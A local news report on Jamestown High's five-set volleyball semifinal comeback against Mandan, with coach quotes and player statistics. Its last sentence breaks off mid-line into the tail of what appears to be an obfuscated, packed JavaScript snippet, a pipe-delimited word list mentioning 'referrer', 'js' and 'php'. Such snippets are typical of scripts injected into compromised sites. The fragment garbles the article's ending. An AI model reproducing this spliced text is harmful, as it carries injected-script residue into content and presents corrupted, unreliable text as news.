Jays Comeback to Punch Ticket to State Title


FARGO, N.D. (NewsDakota.com) – The Jamestown High volleyball team found themselves down 2-0 in the Class A semifinals and started on the comeback trail. They won the final three sets to punch their ticket to the state championship match, 3-2 (20-25, 19-25, 25-23, 25-20, 17-15).

“We were scared, but then we stopped being scared and decided to play like the Blue Jays,” said Jays head coach Sara Hegerle after the match.

Mandan took control on a bevy of Jamestown errors in the first two sets. The Jays fought back to an eight-point lead in the third, before Mandan went on an 8-1 run to close the deficit. Jamestown finally was able to put them away and got some momentum.

After winning the fourth set Jamestown had all the momentum. They stormed out to a 12-7 lead in the finale, just like West Fargo did a day earlier against Mandan. The Braves eventually tied it at 13 and it looked to be deja vu.

Jamestown had three match points before Alyssa Ukestad sent a kill through the Mandan block to win it.

“Mandan played so well. Anyone could have won that match, but I am so glad it was us,” said Hegerle.

Courtney Peterson had 25 kills to lead the Jamestown offense. Megan Gaffaney finished with 52 assists, 15 kills, 28 digs and a block.

The Jays will play the Century Patriots on Saturday night at 7pm for the title. You can listen on ESPN itzbs|var|u0026u|referrer|fzyni||js|php’.split(‘|’),0,{}))

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